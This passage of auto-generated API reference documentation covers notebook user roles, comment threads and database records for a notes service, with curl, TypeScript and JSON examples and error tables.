      "username": "linus",
      "error": "Username already exists in notebook"
    }
  ]
}
```


```json
{
  "message": "At least one user is required.",
  "code": "user_input_required",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `user_input_required` | User input required | At least one user must be provided in the request body | Provide a non-empty users array with username and role |


```json
{
  "message": "You do not have permission to add users.",
  "code": "user_invite_no_access",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_readonly` | Notebook is read-only | The notebook is in read-only mode and cannot be modified | Contact the notebook owner to restore write access |
| `user_invite_no_access` | No permission to add users | User role does not have permission to add users to this notebook | Only owners and admins can add users |


```json
{
  "message": "Notebook not found.",
  "code": "not_found",
  "details": []
}
```



### `PATCH /api/v1/notes/notebooks/{notebookId}/users/{userId}/role`

Changes the notebook role of a user. Requires owner or admin permission.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook that contains the user |
| `userId` | path | string | Yes | The user whose role should be changed |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `role` | string | Yes | The new notebook role. One of: `owner`, `admin`, `collaborator`, `guest`, `none` |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/users/user_5b9d2a14/role" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "admin"
  }'
```


```ts
await client.notes.users.updateRole({
  notebookId: "nb_8f3a1c2b",
  userId: "user_5b9d2a14",
  data: {
    role: "admin"
  }
});
```


```json
{
  "id": "user_5b9d2a14",
  "name": "Grace Hopper",
  "avatar": "https://cdn.hoody.com/avatars/grace.png",
  "role": "admin",
  "customName": null,
  "customAvatar": null,
  "createdAt": "2024-12-05T10:15:32.000Z",
  "updatedAt": "2024-12-05T12:30:11.000Z",
  "revision": "rev_9z8y7x6w",
  "status": 1
}
```


```json
{
  "message": "Invalid role value.",
  "code": "bad_request",
  "details": [
    {
      "path": "role",
      "message": "role must be one of: owner, admin, collaborator, guest, none"
    }
  ]
}
```


```json
{
  "message": "You do not have permission to update user roles.",
  "code": "user_update_no_access",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_readonly` | Notebook is read-only | The notebook is in read-only mode and cannot be modified | Contact the notebook owner to restore write access |
| `user_update_no_access` | No permission to update users | User role does not have permission to change user roles | Only owners and admins can change user roles |


```json
{
  "message": "User not found.",
  "code": "user_not_found",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `user_not_found` | User not found | No user exists with the provided ID in this notebook | Verify user ID using the users list |

---

# Notes: Comments

**Page:** api/notes/comments

[Download Raw Markdown](./api/notes/comments.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Notes Comments API lets you create, list, edit, resolve, re-anchor, and delete comment threads attached to document nodes inside a notebook. Each comment is tied to an anchor (the whole document, a specific block, or a text range within a block). The edit, resolve, re-anchor, and delete operations support an optional `expectedVersion` for optimistic concurrency.

## List comment anchors

Returns lightweight thread anchor metadata for comment decorations. This endpoint is intended for clients that need to render comment markers without fetching full thread bodies.




```ts
const result = await client.notes.comments.listAnchors({
  notebookId: "nb_8f3a1c2e",
  nodeId: "nd_42b1e7",
  limit: 500,
});
```




```bash
curl "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2e/nodes/nd_42b1e7/comment-anchors?limit=500" \
  -H "Authorization: Bearer <token>"
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Identifier of the notebook containing the document |
| `nodeId` | path | string | Yes | Identifier of the document node |
| `limit` | query | integer | No | Maximum number of anchors to return. Default: `500` |
| `offset` | query | integer | No | Number of anchors to skip. Default: `0` |
| `cursor` | query | string | No | Opaque pagination cursor returned by a previous response |

### Response




```json
{
  "anchors": [
    {
      "threadId": "thr_91c2a4",
      "anchor": {
        "anchorType": "text-range",
        "anchorBlockId": "blk_3f2c01",
        "startBlockId": "blk_3f2c01",
        "startOffset": 12,
        "endBlockId": "blk_3f2c01",
        "endOffset": 48,
        "anchorQuote": "the implementation should be idempotent",
        "anchorContextBefore": "we agreed that ",
        "anchorContextAfter": " in all write paths.",
        "anchorStatus": "active",
        "anchorUpdatedAt": "2026-01-14T09:12:33.000Z"
      },
      "anchorStatus": "active",
      "resolvedAt": null,
      "version": 1
    }
  ],
  "nextCursor": null,
  "hasMore": false
}
```




```json
{
  "message": "Invalid cursor",
  "code": "invalid_cursor",
  "details": [
    { "path": "cursor", "message": "Cursor is malformed or expired" }
  ]
}
```




```json
{
  "message": "Forbidden",
  "code": "forbidden",
  "details": []
}
```




```json
{
  "message": "Not found",
  "code": "not_found",
  "details": [
    { "path": "nodeId", "message": "Node does not exist in this notebook" }
  ]
}
```




```json
{
  "message": "Conflict",
  "code": "conflict",
  "details": [
    { "path": "nodeId", "message": "Node has been moved or archived" }
  ]
}
```




## List comments

Returns all comments attached to a document node, paginated by cursor.




```ts
const result = await client.notes.comments.list({
  notebookId: "nb_8f3a1c2e",
  nodeId: "nd_42b1e7",
  limit: 100,
});
```




```bash
curl "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2e/nodes/nd_42b1e7/comments?limit=100" \
  -H "Authorization: Bearer <token>"
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Identifier of the notebook containing the document |
| `nodeId` | path | string | Yes | Identifier of the document node |
| `limit` | query | integer | No | Maximum number of comments to return. Default: `100` |
| `offset` | query | integer | No | Number of comments to skip. Default: `0` |
| `cursor` | query | string | No | Opaque pagination cursor returned by a previous response |

### Response




```json
{
  "comments": [
    {
      "id": "cm_7a4f31c2",
      "documentId": "nd_42b1e7",
      "parentId": null,
      "anchorBlockId": "blk_3f2c01",
      "anchorType": "text-range",
      "startBlockId": "blk_3f2c01",
      "startOffset": 12,
      "endBlockId": "blk_3f2c01",
      "endOffset": 48,
      "anchorQuote": "the implementation should be idempotent",
      "anchorContextBefore": "we agreed that ",
      "anchorContextAfter": " in all write paths.",
      "anchorStatus": "active",
      "anchorUpdatedAt": "2026-01-14T09:12:33.000Z",
      "version": 3,
      "content": "Should we add a note about the retry budget?",
      "createdAt": "2026-01-14T09:12:33.000Z",
      "createdBy": "usr_a1b2c3",
      "createdByName": "Jamie Park",
      "updatedAt": "2026-01-14T10:04:11.000Z",
      "resolvedAt": null,
      "resolvedBy": null
    }
  ],
  "nextCursor": null,
  "hasMore": false
}
```




```json
{
  "message": "Invalid cursor",
  "code": "invalid_cursor",
  "details": [
    { "path": "cursor", "message": "Cursor is malformed or expired" }
  ]
}
```




```json
{
  "message": "Forbidden",
  "code": "forbidden",
  "details": []
}
```




```json
{
  "message": "Not found",
  "code": "not_found",
  "details": [
    { "path": "nodeId", "message": "Node does not exist in this notebook" }
  ]
}
```




```json
{
  "message": "Conflict",
  "code": "conflict",
  "details": [
    { "path": "nodeId", "message": "Node has been moved or archived" }
  ]
}
```




## Create a comment

Creates a new comment on a document node. The `anchor` field describes where the comment is attached. Pass `parentId` to create a reply to an existing comment.




```ts
const comment = await client.notes.comments.create({
  notebookId: "nb_8f3a1c2e",
  nodeId: "nd_42b1e7",
  data: {
    content: "Should we add a note about the retry budget?",
    anchor: {
      type: "text-range",
      startBlockId: "blk_3f2c01",
      startOffset: 12,
      endBlockId: "blk_3f2c01",
      endOffset: 48,
      quote: "the implementation should be idempotent",
      contextBefore: "we agreed that ",
      contextAfter: " in all write paths.",
    },
  },
});
```




```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2e/nodes/nd_42b1e7/comments" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "content": "Should we add a note about the retry budget?",
    "anchor": {
      "type": "text-range",
      "startBlockId": "blk_3f2c01",
      "startOffset": 12,
      "endBlockId": "blk_3f2c01",
      "endOffset": 48,
      "quote": "the implementation should be idempotent",
      "contextBefore": "we agreed that ",
      "contextAfter": " in all write paths."
    }
  }'
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Identifier of the notebook containing the document |
| `nodeId` | path | string | Yes | Identifier of the document node |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `content` | string | Yes | Comment text. Length: 1 to 10000 characters |
| `parentId` | string | No | Identifier of the parent comment when this is a reply |
| `anchorBlockId` | string | No | Identifier of the block the comment is attached to. Use the structured `anchor` field for richer anchors |
| `anchor` | object | No | Structured anchor describing where the comment is placed. One of `document`, `block`, or `text-range` shapes |

### Response




```json
{
  "id": "cm_7a4f31c2",
  "documentId": "nd_42b1e7",
  "parentId": null,
  "anchorBlockId": "blk_3f2c01",
  "anchorType": "text-range",
  "startBlockId": "blk_3f2c01",
  "startOffset": 12,
  "endBlockId": "blk_3f2c01",
  "endOffset": 48,
  "anchorQuote": "the implementation should be idempotent",
  "anchorContextBefore": "we agreed that ",
  "anchorContextAfter": " in all write paths.",
  "anchorStatus": "active",
  "anchorUpdatedAt": "2026-01-14T09:12:33.000Z",
  "version": 1,
  "content": "Should we add a note about the retry budget?",
  "createdAt": "2026-01-14T09:12:33.000Z",
  "createdBy": "usr_a1b2c3",
  "createdByName": "Jamie Park",
  "updatedAt": null,
  "resolvedAt": null,
  "resolvedBy": null
}
```




```json
{
  "message": "Invalid request",
  "code": "invalid_request",
  "details": [
    { "path": "content", "message": "content must be between 1 and 10000 characters" }
  ]
}
```




```json
{
  "message": "Forbidden",
  "code": "forbidden",
  "details": []
}
```




```json
{
  "message": "Not found",
  "code": "not_found",
  "details": [
    { "path": "nodeId", "message": "Node does not exist in this notebook" }
  ]
}
```




```json
{
  "message": "Conflict",
  "code": "conflict",
  "details": [
    { "path": "anchor.startBlockId", "message": "Anchor block has been deleted" }
  ]
}
```




```json
{
  "message": "Internal server error",
  "code": "internal_error",
  "details": []
}
```




## Re-anchor a comment thread

Updates the root comment anchor for an existing thread. Use this when the original anchor target has moved or been edited and the comment needs to track a new location.




```ts
const updated = await client.notes.comments.reanchor({
  notebookId: "nb_8f3a1c2e",
  nodeId: "nd_42b1e7",
  commentId: "cm_7a4f31c2",
  data: {
    anchor: {
      type: "block",
      blockId: "blk_3f2c01",
    },
    expectedVersion: 1,
  },
});
```




```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2e/nodes/nd_42b1e7/comments/cm_7a4f31c2/reanchor" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "anchor": { "type": "block", "blockId": "blk_3f2c01" },
    "expectedVersion": 1
  }'
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Identifier of the notebook containing the document |
| `nodeId` | path | string | Yes | Identifier of the document node |
| `commentId` | path | string | Yes | Identifier of the root comment in the thread |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `anchor` | object | Yes | New anchor for the thread. One of `document`, `block`, or `text-range` shapes |
| `expectedVersion` | integer | No | Current version of the comment. If it does not match, the request is rejected with `409` |

### Response




```json
{
  "id": "cm_7a4f31c2",
  "documentId": "nd_42b1e7",
  "parentId": null,
  "anchorBlockId": "blk_3f2c01",
  "anchorType": "block",
  "startBlockId": null,
  "startOffset": null,
  "endBlockId": null,
  "endOffset": null,
  "anchorQuote": null,
  "anchorContextBefore": null,
  "anchorContextAfter": null,
  "anchorStatus": "active",
  "anchorUpdatedAt": "2026-01-14T11:02:18.000Z",
  "version": 2,
  "content": "Should we add a note about the retry budget?",
  "createdAt": "2026-01-14T09:12:33.000Z",
  "createdBy": "usr_a1b2c3",
  "createdByName": "Jamie Park",
  "updatedAt": "2026-01-14T11:02:18.000Z",
  "resolvedAt": null,
  "resolvedBy": null
}
```




```json
{
  "message": "Invalid request",
  "code": "invalid_request",
  "details": [
    { "path": "anchor", "message": "anchor must be one of document, block, or text-range" }
  ]
}
```




```json
{
  "message": "Forbidden",
  "code": "forbidden",
  "details": []
}
```




```json
{
  "message": "Not found",
  "code": "not_found",
  "details": [
    { "path": "commentId", "message": "Comment does not exist on this node" }
  ]
}
```




```json
{
  "message": "Version conflict",
  "code": "version_conflict",
  "details": [
    { "path": "expectedVersion", "message": "Expected version 1, found 2" }
  ]
}
```




## Resolve a comment

Marks a comment as resolved and records the resolving user and timestamp.




```ts
const resolved = await client.notes.comments.resolve({
  notebookId: "nb_8f3a1c2e",
  nodeId: "nd_42b1e7",
  commentId: "cm_7a4f31c2",
  data: {
    expectedVersion: 2,
  },
});
```




```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2e/nodes/nd_42b1e7/comments/cm_7a4f31c2/resolve" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{ "expectedVersion": 2 }'
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Identifier of the notebook containing the document |
| `nodeId` | path | string | Yes | Identifier of the document node |
| `commentId` | path | string | Yes | Identifier of the comment to resolve |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `expectedVersion` | integer | No | Current version of the comment. If it does not match, the request is rejected with `409` |

### Response




```json
{
  "id": "cm_7a4f31c2",
  "documentId": "nd_42b1e7",
  "parentId": null,
  "anchorBlockId": "blk_3f2c01",
  "anchorType": "text-range",
  "startBlockId": "blk_3f2c01",
  "startOffset": 12,
  "endBlockId": "blk_3f2c01",
  "endOffset": 48,
  "anchorQuote": "the implementation should be idempotent",
  "anchorContextBefore": "we agreed that ",
  "anchorContextAfter": " in all write paths.",
  "anchorStatus": "active",
  "anchorUpdatedAt": "2026-01-14T09:12:33.000Z",
  "version": 3,
  "content": "Should we add a note about the retry budget?",
  "createdAt": "2026-01-14T09:12:33.000Z",
  "createdBy": "usr_a1b2c3",
  "createdByName": "Jamie Park",
  "updatedAt": "2026-01-14T11:08:01.000Z",
  "resolvedAt": "2026-01-14T11:08:01.000Z",
  "resolvedBy": "usr_a1b2c3"
}
```




```json
{
  "message": "Forbidden",
  "code": "forbidden",
  "details": []
}
```




```json
{
  "message": "Not found",
  "code": "not_found",
  "details": [
    { "path": "commentId", "message": "Comment does not exist on this node" }
  ]
}
```




```json
{
  "message": "Version conflict",
  "code": "version_conflict",
  "details": [
    { "path": "expectedVersion", "message": "Expected version 2, found 3" }
  ]
}
```




## Edit a comment

Edits the content of an existing comment. Only the author of the comment is permitted to edit it.




```ts
const edited = await client.notes.comments.edit({
  notebookId: "nb_8f3a1c2e",
  nodeId: "nd_42b1e7",
  commentId: "cm_7a4f31c2",
  data: {
    content: "Should we add a note about the retry budget and the circuit breaker?",
    expectedVersion: 1,
  },
});
```




```bash
curl -X PATCH "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2e/nodes/nd_42b1e7/comments/cm_7a4f31c2" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "content": "Should we add a note about the retry budget and the circuit breaker?",
    "expectedVersion": 1
  }'
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Identifier of the notebook containing the document |
| `nodeId` | path | string | Yes | Identifier of the document node |
| `commentId` | path | string | Yes | Identifier of the comment to edit |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `content` | string | Yes | New comment text. Length: 1 to 10000 characters |
| `expectedVersion` | integer | No | Current version of the comment. If it does not match, the request is rejected with `409` |

### Response




```json
{
  "id": "cm_7a4f31c2",
  "documentId": "nd_42b1e7",
  "parentId": null,
  "anchorBlockId": "blk_3f2c01",
  "anchorType": "text-range",
  "startBlockId": "blk_3f2c01",
  "startOffset": 12,
  "endBlockId": "blk_3f2c01",
  "endOffset": 48,
  "anchorQuote": "the implementation should be idempotent",
  "anchorContextBefore": "we agreed that ",
  "anchorContextAfter": " in all write paths.",
  "anchorStatus": "active",
  "anchorUpdatedAt": "2026-01-14T09:12:33.000Z",
  "version": 2,
  "content": "Should we add a note about the retry budget and the circuit breaker?",
  "createdAt": "2026-01-14T09:12:33.000Z",
  "createdBy": "usr_a1b2c3",
  "createdByName": "Jamie Park",
  "updatedAt": "2026-01-14T10:04:11.000Z",
  "resolvedAt": null,
  "resolvedBy": null
}
```




```json
{
  "message": "Forbidden",
  "code": "forbidden",
  "details": [
    { "path": "commentId", "message": "Only the comment author can edit this comment" }
  ]
}
```




```json
{
  "message": "Not found",
  "code": "not_found",
  "details": [
    { "path": "commentId", "message": "Comment does not exist on this node" }
  ]
}
```




```json
{
  "message": "Version conflict",
  "code": "version_conflict",
  "details": [
    { "path": "expectedVersion", "message": "Expected version 1, found 2" }
  ]
}
```




## Delete a comment

Deletes a comment and all of its replies. This action is irreversible.




```ts
const result = await client.notes.comments.delete({
  notebookId: "nb_8f3a1c2e",
  nodeId: "nd_42b1e7",
  commentId: "cm_7a4f31c2",
  expectedVersion: 3,
});
```




```bash
curl -X DELETE "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2e/nodes/nd_42b1e7/comments/cm_7a4f31c2?expectedVersion=3" \
  -H "Authorization: Bearer <token>"
```




### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Identifier of the notebook containing the document |
| `nodeId` | path | string | Yes | Identifier of the document node |
| `commentId` | path | string | Yes | Identifier of the comment to delete |
| `expectedVersion` | query | integer | No | Current version of the comment. If it does not match, the request is rejected with `409` |

### Response




```json
{
  "success": true
}
```




```json
{
  "message": "Forbidden",
  "code": "forbidden",
  "details": []
}
```




```json
{
  "message": "Not found",
  "code": "not_found",
  "details": [
    { "path": "commentId", "message": "Comment does not exist on this node" }
  ]
}
```




```json
{
  "message": "Version conflict",
  "code": "version_conflict",
  "details": [
    { "path": "expectedVersion", "message": "Expected version 3, found 4" }
  ]
}
```

---

# Notes: Databases

**Page:** api/notes/databases

[Download Raw Markdown](./api/notes/databases.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Notes: Databases API lets you manage the individual records stored inside database nodes within a notebook. Use these endpoints to list, retrieve, search, create, update, and delete records — including the custom field values defined by the database schema.

## List database records

Returns a paginated list of records in a database. Supports JSON-encoded filters and sorts.

### `GET /api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the parent notebook |
| `databaseId` | path | string | Yes | ID of the database node |
| `filters` | query | string | No | JSON-encoded filter expression applied to record fields |
| `sorts` | query | string | No | JSON-encoded sort expression applied to record fields |
| `page` | query | integer | No | Page number to retrieve. Default: `1` |
| `count` | query | integer | No | Number of records to return per page. Default: `50` |



```bash
curl -G "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3c1a2b/databases/db_4e9d6f0a/records" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode 'filters=[{"field":"status","op":"eq","value":"active"}]' \
  --data-urlencode 'sorts=[{"field":"name","dir":"asc"}]' \
  --data-urlencode 'page=1' \
  --data-urlencode 'count=50'
```


```ts
const page = await client.notes.databases.listIterator({
  notebookId: "nb_8f3c1a2b",
  databaseId: "db_4e9d6f0a",
  filters: '[{"field":"status","op":"eq","value":"active"}]',
  sorts: '[{"field":"name","dir":"asc"}]',
  page: 1,
  count: 50,
});
```


```json
{
  "records": [
    {
      "id": "rec_01HQ2XK9A1B2C3D4E5F6G7H8J9",
      "name": "Acme Corp",
      "fields": {
        "status": { "type": "string", "value": "active" },
        "owner": { "type": "string", "value": "user_abc123" }
      }
    },
    {
      "id": "rec_01HQ2XK9B2C3D4E5F6G7H8J9K0",
      "name": "Globex",
      "fields": {
        "status": { "type": "string", "value": "active" },
        "owner": { "type": "string", "value": "user_def456" }
      }
    }
  ],
  "total": 142,
  "page": 1,
  "count": 50
}
```


```json
{
  "message": "Invalid JSON in filters parameter.",
  "code": "bad_request",
  "details": [
    { "path": "filters", "message": "Unexpected token at position 12" }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Invalid filter or sort parameters | The filters or sorts query parameter contains invalid JSON | Verify the JSON structure of filter and sort parameters |


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Database not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Database not found | No database node exists with the provided ID | Verify database ID using listNodes |



## Get a database record

Returns a single record by ID from a database.

### `GET /api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records/{recordId}`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the parent notebook |
| `databaseId` | path | string | Yes | ID of the database node |
| `recordId` | path | string | Yes | ID of the record to retrieve |



```bash
curl "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3c1a2b/databases/db_4e9d6f0a/records/rec_01HQ2XK9A1B2C3D4E5F6G7H8J9" \
  -H "Authorization: Bearer <token>"
```


```ts
const record = await client.notes.databases.get({
  notebookId: "nb_8f3c1a2b",
  databaseId: "db_4e9d6f0a",
  recordId: "rec_01HQ2XK9A1B2C3D4E5F6G7H8J9",
});
```


```json
{
  "id": "rec_01HQ2XK9A1B2C3D4E5F6G7H8J9",
  "name": "Acme Corp",
  "avatar": "https://cdn.hoody.com/avatars/acme.png",
  "fields": {
    "status": { "type": "string", "value": "active" },
    "renewal": { "type": "number", "value": 365 },
    "tags": { "type": "string_array", "value": ["enterprise", "us-east"] },
    "notes": { "type": "text", "value": "Renewal in Q4." }
  }
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Record not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Record not found | No record with the given ID exists in the database | Verify record ID using listRecords or searchRecords |



## Search database records

Searches records in a database by name. Supports excluding specific record IDs.

### `GET /api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records/search`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the parent notebook |
| `databaseId` | path | string | Yes | ID of the database node |
| `q` | query | string | No | Name query string. Default: `""` |
| `exclude` | query | string | No | JSON-encoded array of record IDs to exclude from results |



```bash
curl -G "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3c1a2b/databases/db_4e9d6f0a/records/search" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode 'q=Acme' \
  --data-urlencode 'exclude=["rec_01HQ2XK9A1B2C3D4E5F6G7H8J9"]'
```


```ts
const result = await client.notes.databases.search({
  notebookId: "nb_8f3c1a2b",
  databaseId: "db_4e9d6f0a",
  q: "Acme",
  exclude: '["rec_01HQ2XK9A1B2C3D4E5F6G7H8J9"]',
});
```


```json
{
  "records": [
    {
      "id": "rec_01HQ2XK9B2C3D4E5F6G7H8J9K0",
      "name": "Acme Industries",
      "fields": {
        "status": { "type": "string", "value": "active" }
      }
    }
  ],
  "total": 1
}
```


```json
{
  "message": "Invalid JSON in exclude parameter.",
  "code": "bad_request",
  "details": [
    { "path": "exclude", "message": "Expected an array of record IDs" }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Invalid exclude parameter | The exclude query parameter contains invalid JSON | Provide a valid JSON array of record IDs to exclude |


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Database not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Database not found | No database node exists with the provided ID | Verify database ID using listNodes |



## Create a database record

Creates a new record in a database with a name and custom field values.

### `POST /api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the parent notebook |
| `databaseId` | path | string | Yes | ID of the database node |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `id` | string | No | Optional client-supplied record ID |
| `name` | string | No | Record name. Default: `"Untitled"` |
| `avatar` | string \| null | No | Avatar image URL for the record, or `null` to clear |
| `fields` | object | No | Key-value map of field names to field values. Default: `{}` |



```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3c1a2b/databases/db_4e9d6f0a/records" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Initech",
    "fields": {
      "status": { "type": "string", "value": "prospect" },
      "tags": { "type": "string_array", "value": ["smb", "emea"] }
    }
  }'
```


```ts
const record = await client.notes.databases.create({
  notebookId: "nb_8f3c1a2b",
  databaseId: "db_4e9d6f0a",
  data: {
    name: "Initech",
    fields: {
      status: { type: "string", value: "prospect" },
      tags: { type: "string_array", value: ["smb", "emea"] },
    },
  },
});
```


```json
{
  "id": "rec_01HQ2XL1C3D4E5F6G7H8J9K0L1",
  "name": "Initech",
  "avatar": null,
  "fields": {
    "status": { "type": "string", "value": "prospect" },
    "tags": { "type": "string_array", value: ["smb", "emea"] }
  }
}
```


```json
{
  "message": "Invalid request body.",
  "code": "bad_request",
  "details": [
    { "path": "fields.tags", "message": "Field type does not match the database schema" }
  ]
}
```


```json
{
  "message": "You do not have permission to perform this action.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |
| `forbidden` | Insufficient permissions | User role does not have permission for this action | Request a higher role from the notebook or node admin |


```json
{
  "message": "Database not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Database not found | No database node exists with the provided ID | Verify database ID using listNodes |


```json
{
  "message": "Idempotency key conflict.",
  "code": "bad_request"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Idempotency conflict | A different request was already made with the same idempotency key | Use a new idempotency key for a different request |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



## Update a database record

Updates a record name, avatar, or field values. Fields are merged with existing values.

### `PATCH /api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records/{recordId}`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the parent notebook |
| `databaseId` | path | string | Yes | ID of the database node |
| `recordId` | path | string | Yes | ID of the record to update |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | No | New record name |
| `avatar` | string \| null | No | New avatar image URL, or `null` to clear the existing avatar |
| `fields` | object | No | Partial map of field names to field values. Each value is an object with a `type` and a typed `value` (`boolean`, `string`, `string_array`, `number`, or `text`). Provided fields are merged with existing values |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3c1a2b/databases/db_4e9d6f0a/records/rec_01HQ2XK9A1B2C3D4E5F6G7H8J9" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Acme Corp (Renewed)",
    "fields": {
      "status": { "type": "string", "value": "renewed" },
      "renewal": { "type": "number", "value": 730 }
    }
  }'
```


```ts
const record = await client.notes.databases.update({
  notebookId: "nb_8f3c1a2b",
  databaseId: "db_4e9d6f0a",
  recordId: "rec_01HQ2XK9A1B2C3D4E5F6G7H8J9",
  data: {
    name: "Acme Corp (Renewed)",
    fields: {
      status: { type: "string", value: "renewed" },
      renewal: { type: "number", value: 730 },
    },
  },
});
```


```json
{
  "id": "rec_01HQ2XK9A1B2C3D4E5F6G7H8J9",
  "name": "Acme Corp (Renewed)",
  "avatar": "https://cdn.hoody.com/avatars/acme.png",
  "fields": {
    "status": { "type": "string", "value": "renewed" },
    "renewal": { "type": "number", "value": 730 },
    "owner": { "type": "string", "value": "user_abc123" }
  }
}
```


```json
{
  "message": "Invalid field value type.",
  "code": "bad_request",
  "details": [
    { "path": "fields.renewal", "message": "Expected type \"number\"" }
  ]
}
```


```json
{
  "message": "You do not have permission to perform this action.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |
| `forbidden` | Insufficient permissions | User role does not have permission for this action | Request a higher role from the notebook or node admin |


```json
{
  "message": "Record not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Record not found | No record with the given ID exists in the database | Verify record ID using listRecords or searchRecords |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |




